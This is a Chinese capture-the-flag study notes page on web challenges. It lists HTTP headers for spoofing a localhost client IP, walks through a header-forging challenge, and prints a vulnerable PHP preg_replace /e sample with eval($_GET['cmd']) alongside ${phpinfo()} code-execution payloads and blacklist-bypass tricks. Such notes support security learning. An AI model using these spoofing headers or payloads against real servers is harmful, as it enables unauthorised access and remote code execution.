0%

杂乱的知识

杂乱的知识

js前端

打开网页源代码,找到.js文件,之后Ctrl+f查找alert,把代码放到控制台执行,即可得到以弹唱新式出现的flag

本地ip的写法

由于他是一个回环的写法,所以他的写法有很多种

127.0.0.1127.0.1.1123.1.1.1127.0.1.0127.0127.1

所有伪造IP的方法

X-Forwarded: 127.0.0.1Forwarded-For: 127.0.0.1Forwarded: 127.0.0.1X-Requested-With: 127.0.0.1X-Forwarded-Proto: 127.0.0.1X-Forwarded-Host: 127.0.0.1X-remote-IP: 127.0.0.1X-remote-addr: 127.0.0.1True-Client-IP: 127.0.0.1X-Client-IP: 127.0.0.1Client-IP: 127.0.0.1X-Real-IP: 127.0.0.1Ali-CDN-Real-IP: 127.0.0.1Cdn-Src-Ip: 127.0.0.1Cdn-Real-Ip: 127.0.0.1CF-Connecting-IP: 127.0.0.1X-Cluster-Client-IP: 127.0.0.1WL-Proxy-Client-IP: 127.0.0.1Proxy-Client-IP: 127.0.0.1Fastly-Client-Ip: 127.0.0.1True-Client-Ip: 127.0.0.1X-Originating-IP: 127.0.0.1X-Host: 127.0.0.1X-Custom-IP-Authorization: 127.0.0.1

伪造ip

client-ip: 127.0.0.1

x-forwarded-for: 127.0.0.1

进去显示只允许本地访问
请求头写 x-forwarded-for: 127.0.0.1
被嘲讽

换一种 client-ip: 127.0.0.1
执行显示 You are not from pornhub.com !

请求头写 referer: pornhub.com
执行显示 不开代理你想上p站? 代理服务器地址是Clash.win

请求头写 via: Clash.win
执行显示 用Chrome浏览器啊!

请求头写 user-agent: Chrome
执行显示 借一步说话—>> /wtfwtfwtfwtf.php

进入wtfwtfwtfwtf.php
F12 看到sejishikong.php

进入sejishikong.php 获得f14g

查看页面源码

鼠标右键->无用->ctrl+u->无用->ctrl+s下载页面用编译器打开

或者找一个在线查看源码的工具

e模式的正则匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}

foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的

上面的命令执行,相当于 eval(‘strtolower(“\1”);’) 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义

这里的 \1 实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便理解。官方 payload 为: /?.*={${phpinfo()}}

原先的语句: preg_replace(‘/(‘ . $regex . ‘)/ei’, ‘strtolower(“\1”)’, $value); 变成了语句: preg_replace(‘/(.*)/ei’, ‘strtolower(“\1”)’, {${phpinfo()}});

由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效

绕过方法:\S=${phpinfo()}*

参考文章https://xz.aliyun.com/t/2557

强比较也可以用数组绕过(没有md5,有的话好像使要碰撞出来,去网上搜现成的)

在蚁剑上面找不到flag可以考虑是不是在phpinfo里面

$_SERVER[“QUERY_STRING”]可以进行url编码,绕过黑名单的检测。因为$_SERVER[“QUERY_STRING”]不会url解码

HTTP协议

PUT方法表示上传文件

POST表示传输变量

DELETE表示删除文件


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/gtpggr32p8glto1w
语雀文档ID: 136495365